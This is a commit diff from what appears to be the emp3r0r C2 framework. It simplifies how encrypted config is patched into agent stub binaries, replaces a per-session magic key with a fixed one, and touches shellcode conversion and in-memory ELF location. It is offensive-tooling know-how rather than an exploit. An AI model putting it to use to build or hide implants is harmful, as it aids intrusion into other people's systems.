Skip to content

Commit 8f3e9a1

Browse files
committed
fix: simplify agent binary patching
ditched the one-time magic string
1 parent 91fcd5a commit 8f3e9a1

File tree

6 files changed

+31
-57
lines changed

6 files changed

+31
-57
lines changed

core/cmd/cc/main.go

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -58,9 +58,6 @@ func init() {
5858
if err != nil {
5959
log.Fatalf("C2 file paths setup: %v", err)
6060
}
61-
62-
// set up magic string
63-
live.InitMagicAgentOneTimeBytes()
6461
}
6562

6663
func main() {

core/internal/cc/operator/generate.go

Lines changed: 3 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -91,23 +91,20 @@ func CmdGenerateAgent(cmd *cobra.Command, args []string) {
9191
}
9292

9393
// read and encrypt config file
94-
encryptedJSONBytes, err := readAndEncryptConfig()
94+
config_payload, err := readAndEncryptConfig()
9595
if err != nil {
9696
logging.Errorf("Failed to encrypt %s: %v", live.EmpConfigFile, err)
9797
return
9898
}
99+
logging.Debugf("Config payload: %d bytes", len(config_payload))
99100

100101
// read stub file
101102
toWrite, err := os.ReadFile(stubFile)
102103
if err != nil {
103104
logging.Errorf("Read stub: %v", err)
104105
return
105106
}
106-
sep := bytes.Repeat(def.OneTimeMagicBytes, 2)
107-
108107
// payload
109-
config_payload := append(sep, encryptedJSONBytes...)
110-
config_payload = append(config_payload, sep...)
111108
// binary patching, we need to patch the stub file at emp3r0r_def.AgentConfig, which is 4096 bytes long
112109
if len(config_payload) < len(def.AgentConfig) {
113110
// pad with 0x00
@@ -122,16 +119,6 @@ func CmdGenerateAgent(cmd *cobra.Command, args []string) {
122119
bytes.Repeat([]byte{0xff}, len(config_payload)),
123120
config_payload,
124121
1)
125-
// verify
126-
if !bytes.Contains(toWrite, config_payload) {
127-
logging.Warningf("Failed to patch %s with config payload, config data not found, append it to the file instead", stubFile)
128-
// append config to the end of the file
129-
err = appendConfigToPayload(stubFile, sep, encryptedJSONBytes)
130-
if err != nil {
131-
logging.Errorf("Failed to append config to payload: %v", err)
132-
return
133-
}
134-
}
135122
// write
136123
if err = os.WriteFile(outfile, toWrite, 0o755); err != nil {
137124
logging.Errorf("Save agent binary %s: %v", outfile, err)
@@ -141,8 +128,6 @@ func CmdGenerateAgent(cmd *cobra.Command, args []string) {
141128
// done
142129
logging.Successf("Generated %s from %s and %s",
143130
outfile, stubFile, live.EmpConfigFile)
144-
logging.Debugf("OneTimeMagicBytes is %x", def.OneTimeMagicBytes)
145-
146131
if payload_type == PayloadTypeWindowsExecutable {
147132
// generate shellcode for the agent binary
148133
donut.DonoutPE2Shellcode(outfile, arch_choice)
@@ -212,7 +197,7 @@ func readAndEncryptConfig() ([]byte, error) {
212197
}
213198

214199
// encrypt
215-
encryptedJSONBytes, err := crypto.AES_GCM_Encrypt(def.OneTimeMagicBytes, jsonBytes)
200+
encryptedJSONBytes, err := crypto.AES_GCM_Encrypt([]byte(def.MagicString), jsonBytes)
216201
if err != nil {
217202
return nil, fmt.Errorf("failed to encrypt %s: %v", live.EmpConfigFile, err)
218203
}

core/internal/def/def.go

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,9 +14,6 @@ var (
1414
// use: C2 message construction and encryption
1515
MagicString = "64781530-1475-4cf8-950c-dcdf4c619dbc"
1616

17-
// OneTimeMagicBytes as separator/password, generated at runtime, only used by agent program
18-
OneTimeMagicBytes = []byte("6byKQ3Hcidum0NCdvJGK0w==")
19-
2017
// Transport what transport is this agent using? (HTTP2 / CDN / TOR)
2118
Transport = "HTTP2"
2219

core/internal/live/config.go

Lines changed: 19 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,24 @@ const (
6262
UtilsArchive = WWWRoot + "utils.tar.xz"
6363
)
6464

65+
func cleanupConfig() (err error) {
66+
dents, err := os.ReadDir(EmpWorkSpace)
67+
if err != nil {
68+
return
69+
}
70+
for _, d := range dents {
71+
if strings.HasSuffix(d.Name(), ".json") ||
72+
strings.HasSuffix(d.Name(), ".pem") ||
73+
strings.HasSuffix(d.Name(), ".history") {
74+
err = os.Remove(EmpWorkSpace + "/" + d.Name())
75+
if err != nil {
76+
return
77+
}
78+
}
79+
}
80+
return
81+
}
82+
6583
func DownloadExtractConfig(url string, downloader func(string, string) error) (err error) {
6684
logging.Infof("Downloading and extracting config from %s to %s", url, EmpConfigTar)
6785
// download config tarball from server
@@ -70,7 +88,7 @@ func DownloadExtractConfig(url string, downloader func(string, string) error) (e
7088
return
7189
}
7290
// remove existing config files for a clean start
73-
err = os.RemoveAll(EmpWorkSpace)
91+
err = cleanupConfig()
7492
if err != nil {
7593
return
7694
}
@@ -160,30 +178,6 @@ func ReadJSONConfig() (err error) {
160178
return def.ReadJSONConfig(jsonData, RuntimeConfig)
161179
}
162180

163-
// re-generate a random magic string for this CC session
164-
func InitMagicAgentOneTimeBytes() {
165-
default_magic_str := def.OneTimeMagicBytes
166-
def.OneTimeMagicBytes = util.RandBytes(len(default_magic_str))
167-
168-
// update binaries
169-
files, err := os.ReadDir(EmpWorkSpace)
170-
if err != nil {
171-
logging.Fatalf("init_magic_str: %v", err)
172-
}
173-
for _, f := range files {
174-
if f.IsDir() {
175-
continue
176-
}
177-
if strings.HasPrefix(f.Name(), "stub-") {
178-
err = util.ReplaceBytesInFile(fmt.Sprintf("%s/%s", EmpWorkSpace, f.Name()),
179-
default_magic_str, def.OneTimeMagicBytes)
180-
if err != nil {
181-
logging.Fatalf("init_magic_str: %v", err)
182-
}
183-
}
184-
}
185-
}
186-
187181
// InitCertsAndConfig generate certs if not found, then generate config file
188182
func InitCertsAndConfig() error {
189183
// if we are not running as server, return, the certs are already generated

core/lib/util/extract_elf.go

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,8 +34,9 @@ func FindEmp3r0rELFInMem() (elf_bytes []byte, err error) {
3434
return
3535
}
3636

37+
// FIXME: it used to be def.OneTimeMagicBytes, but it's not used anymore
3738
for base, mem_region := range mem_regions {
38-
if bytes.Contains(mem_region, exeutil.ELFMAGIC) && bytes.Contains(mem_region, def.OneTimeMagicBytes) {
39+
if bytes.Contains(mem_region, exeutil.ELFMAGIC) && bytes.Contains(mem_region, []byte(def.MagicString)) {
3940
if base != 0x400000 {
4041
logging.Debugf("Found magic string in memory region 0x%x, but unlikely to contain our ELF", base)
4142
continue

core/lib/util/mem.go

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -43,16 +43,16 @@ func extractFromMemory() ([]byte, error) {
4343
}
4444

4545
func extractFromAgentConfig() ([]byte, error) {
46-
data, err := DigEmbeddedData(def.AgentConfig[:], 0)
47-
if err != nil {
48-
return nil, err
49-
}
50-
return data, nil
46+
// Get raw config bytes and strip trailing null bytes
47+
enc_config := bytes.Trim(def.AgentConfig[:], "\x00")
48+
49+
// decrypt and verify
50+
return VerifyConfigData(enc_config)
5151
}
5252

5353
func VerifyConfigData(data []byte) (jsonData []byte, err error) {
5454
// decrypt attached JSON file
55-
jsonData, err = crypto.AES_GCM_Decrypt(def.OneTimeMagicBytes, data)
55+
jsonData, err = crypto.AES_GCM_Decrypt([]byte(def.MagicString), data)
5656
if err != nil {
5757
err = fmt.Errorf("decrypt config JSON failed (%v), invalid config data?", err)
5858
return
@@ -90,7 +90,7 @@ func DigEmbeddedData(data []byte, base int64) (embedded_data []byte, err error)
9090
// OneTimeMagicBytes is 16 bytes long random data,
9191
// generated by CC per session (delete ~/.emp3r0r to reset)
9292
// we use it to locate the embedded data
93-
magic_str := def.OneTimeMagicBytes
93+
magic_str := []byte(def.MagicString) // used to be def.OneTimeMagicBytes
9494
logging.Debugf("Digging with magic string '%x' (%d bytes)", magic_str, len(magic_str))
9595
sep := bytes.Repeat(magic_str, 2)
9696

0 commit comments

Comments
 (0)